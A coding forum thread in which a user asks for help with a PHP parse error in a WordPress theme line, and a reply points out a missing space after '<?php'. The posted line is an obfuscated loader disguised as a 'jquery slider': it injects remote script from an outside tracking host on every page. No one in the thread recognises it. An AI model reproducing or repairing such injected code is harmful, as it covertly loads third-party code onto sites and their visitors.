Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 4 of 4
  1. #1
    New to the CF scene
    Join Date
    Oct 2012
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Exclamation Simple Parse Error }, Help to Find It.

    Received this error, Parse error: syntax error, unexpected '}' in **** on line 683
    It is a simple Parse error, but cannot find it. Hoping one of you forum members have better luck. Line 683 below and full php file attached. Would love a response as soon as possible.
    PHP Code:
    ?><?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head''insert_jquery_slider');} ?>
    Attached Files Attached Files

  • #2
    New to the CF scene
    Join Date
    Oct 2012
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Quote Originally Posted by lacido View Post
    The bit "?>" after insert_jquery_slider should be removed? The final php tag has the opening brace the wrong way.
    And several close braces are missing?
    Other aspects of the code are not fully incorrect; does not cause php file to not work. The topic searching for is Parse Error, nice observations though.

  • #3
    Senior Coder
    Join Date
    Feb 2011
    Location
    Your Monitor
    Posts
    4,476
    Thanks
    63
    Thanked 538 Times in 525 Posts
    <?php}add_action(

    You must have a space between <?php and }.
    I can't really think of anything to write here now...

  • #4
    New to the CF scene
    Join Date
    Oct 2012
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Lightbulb

    Quote Originally Posted by tangoforce View Post
    <?php}add_action(

    You must have a space between <?php and }.
    Good job tangoforce, That error occurred twice on 683 and 684. Simple errors cause the most headaches. Thanks


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •